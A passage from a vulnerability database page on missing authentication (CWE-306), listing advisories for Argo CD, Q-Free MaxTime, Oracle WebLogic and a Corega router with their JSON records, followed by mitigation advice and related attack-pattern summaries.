      "url": "https://www.vulncheck.com/advisories/lakefs-unauthenticated-operator-metadata-overwrite-via-setup-comm-prefs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-87P9-X75H-P4J2

Vulnerability from github – Published: 2024-06-06 21:27 – Updated: 2024-06-17 15:26
VLAI
Summary
Unauthenticated Access to sensitive settings in Argo CD
Details

Summary

The CVE allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication.

Details

Unauthenticated Access:

Endpoint: /api/v1/settings

Description: This endpoint is accessible without any form of authentication as expected. All sensitive settings are hidden except passwordPattern.

Patches A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3 v2.10.12 v2.9.17

Impact

Unauthenticated Access:

  • Type: Unauthorized Information Disclosure.
  • Affected Parties: All users and administrators of the Argo CD instance.
  • Potential Risks: Exposure of sensitive configuration data, including but not limited to deployment settings, security configurations, and internal network information.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.3"
            },
            {
              "fixed": "2.9.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "fixed": "2.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-287",
      "CWE-306",
      "CWE-384"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T21:27:43Z",
    "nvd_published_at": "2024-06-06T16:15:13Z",
    "severity": "MODERATE"
  },
  "details": "# Summary\nThe CVE allows unauthorized access to the sensitive settings exposed by  /api/v1/settings endpoint without authentication. \n\n# Details\n## **Unauthenticated Access:**\n\n### Endpoint: /api/v1/settings\nDescription: This endpoint is accessible without any form of authentication as expected. All sensitive settings are hidden except `passwordPattern`. \n\nPatches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.3\nv2.10.12\nv2.9.17\n\n\n# Impact\n## Unauthenticated Access:\n\n* Type: Unauthorized Information Disclosure.\n* Affected Parties: All users and administrators of the Argo CD instance.\n* Potential Risks: Exposure of sensitive configuration data, including but not limited to deployment settings, security configurations, and internal network information.\n\n",
  "id": "GHSA-87p9-x75h-p4j2",
  "modified": "2024-06-17T15:26:55Z",
  "published": "2024-06-06T21:27:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/256d90178b11b04bc8174d08d7b663a2a7b1771b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2902"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthenticated Access to sensitive settings in Argo CD"
}

GHSA-883Q-M76C-J5WJ

Vulnerability from github – Published: 2025-02-12 15:32 – Updated: 2025-02-12 15:32
VLAI
Details

A CWE-306 "Missing Authentication for Critical Function" in maxprofile/setup/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to set an arbitrary authentication profile server via crafted HTTP requests.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-12T14:15:36Z",
    "severity": "HIGH"
  },
  "details": "A CWE-306 \"Missing Authentication for Critical Function\" in maxprofile/setup/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to set an arbitrary authentication profile server via crafted HTTP requests.",
  "id": "GHSA-883q-m76c-j5wj",
  "modified": "2025-02-12T15:32:01Z",
  "published": "2025-02-12T15:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26362"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-26362"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-88CM-G4XQ-FH44

Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2024-04-17 00:30
VLAI
Details

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T22:15:14Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-88cm-g4xq-fh44",
  "modified": "2024-04-17T00:30:54Z",
  "published": "2024-04-17T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21007"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-88H7-XJ6F-75Q2

Vulnerability from github – Published: 2022-05-14 03:35 – Updated: 2022-05-14 03:35
VLAI
Details

Corega CG-WGR1200 firmware 2.20 and earlier allows an attacker to bypass authentication and change the login password via unspecified vectors.

Severity
8.8 (High)
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-10854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-09T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Corega CG-WGR1200 firmware 2.20 and earlier allows an attacker to bypass authentication and change the login password via unspecified vectors.",
  "id": "GHSA-88h7-xj6f-75q2",
  "modified": "2022-05-14T03:35:30Z",
  "published": "2022-05-14T03:35:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10854"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN15201064/index.html"
    },
    {
      "type": "WEB",
      "url": "http://corega.jp/support/security/20180309_wgr1200.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list